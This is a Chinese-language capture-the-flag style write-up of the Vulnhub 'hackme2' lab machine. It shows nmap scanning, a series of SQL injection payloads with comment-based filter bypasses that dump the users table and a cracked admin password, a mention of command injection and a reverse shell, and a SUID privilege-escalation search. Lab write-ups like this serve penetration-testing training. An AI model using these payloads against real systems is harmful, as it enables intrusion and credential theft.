Vulnhub:hackeme2
一、前言
通过大量vulnhub受控靶机积累一线攻防经验和技巧。
二、环境
靶机名称:hackeme2
靶机难度:中级
目标:获取root权限
攻击机:kali linux,IP地址192.168.229.129
靶机:hackeme2,IP地址192.168.229.128
三、挑战过程
1.IP探测和端口探测
nmap -sP 192.168.229.1/24
nmap -T4 -A -sS -p 1-65535 -v 192.168.229.128

2.探索web服务



注册aaa账号,密码abc123登录后的web服务情况

对这些web服务可以有的尝试,目录爆破,xss,sql注入,命令注入。在welcome.php界面的search参数post请求我们发现有sql注入漏洞。
什么输入都没有
Linux
Linux%' and database() like'
Linux%'/**/and/**/database()/**/like'
Linux%'/**/union/**/select/**/database(),2,3/**/like'
Linux%'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp
Linux%'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name='users'and/**/table_schema/**/like'webapp
Linux%'/**/union/**/select/**/group_concat(user),group_concat(pasword),3/**/from/**/users/**/where/**/'1'/**/like/**/'
解密得到:superadmin/Uncrackable


该处有个诡异点,明明有sql注入,手注可以发现,我的kali的sqlmap跑不出来,别人能跑出来!!!我很震惊。问了常做渗透的朋友说这种现象正常,和版本,IP,人品有关(一脸懵逼加无语),不过是小概率事件,他做了这么久,只出现两次,一次他没跑出来别人跑出来了,一次别人没跑出来他跑出来了。




这里有个上传功能点可以传jpg等,另外last name功能点fuzz发现可以命令执行。



准备反弹shell,上传并执行




4.提权
find / -perm -4000 2> /dev/null
查找系统所有文件中拥有suid特殊权限的文件
-perm匹配权限
4000 2000 1000分别表示SUID SGID SBIT
a.普通文件,文件的权限一般三位,777最高文件权限
-perm -0777搜索的就是最高权限的文件rwxrwxrwx
-perm +0777搜索的只要包含rwxrwxrwx任意一个的文件
b.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法
-perm -7000搜索的就是最高权限的文件–s–s–t
-perm +7000搜索的只要包含–s–s–t任意一个的文件,–s––(4000)、––s–(2000)、–––t(1000)等

四、总结
风险点:
1.存在sql注入,且数据库的密码表加密算法过于简单
2.存在命令注入
3.滥用了suid致使轻易提权
五、疑问点
1.【high】sql注入手注能力不是很强,需要sqli-lab专项练习
2.【high】别人sqlmap跑的出,我跑不出
3.【high】命令注入的fuzz需要在专项提升一下,了解更多场景的应用
4.【high】希望能基于g0tmi1k的Basic Linux Privilege Escalation形成更系统的提权审视,以前详读过,不过做了一些vulnhub后发现我当时看的太浅了,这算是一种专项审查,需要培养这种系统性思维和案例实践积累。
参考链接
1.【思路】https://blog.csdn.net/weixin_45922278/article/details/114003257
2.【思路】https://my.oschina.net/u/4641386/blog/4674046
3.【提权】https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html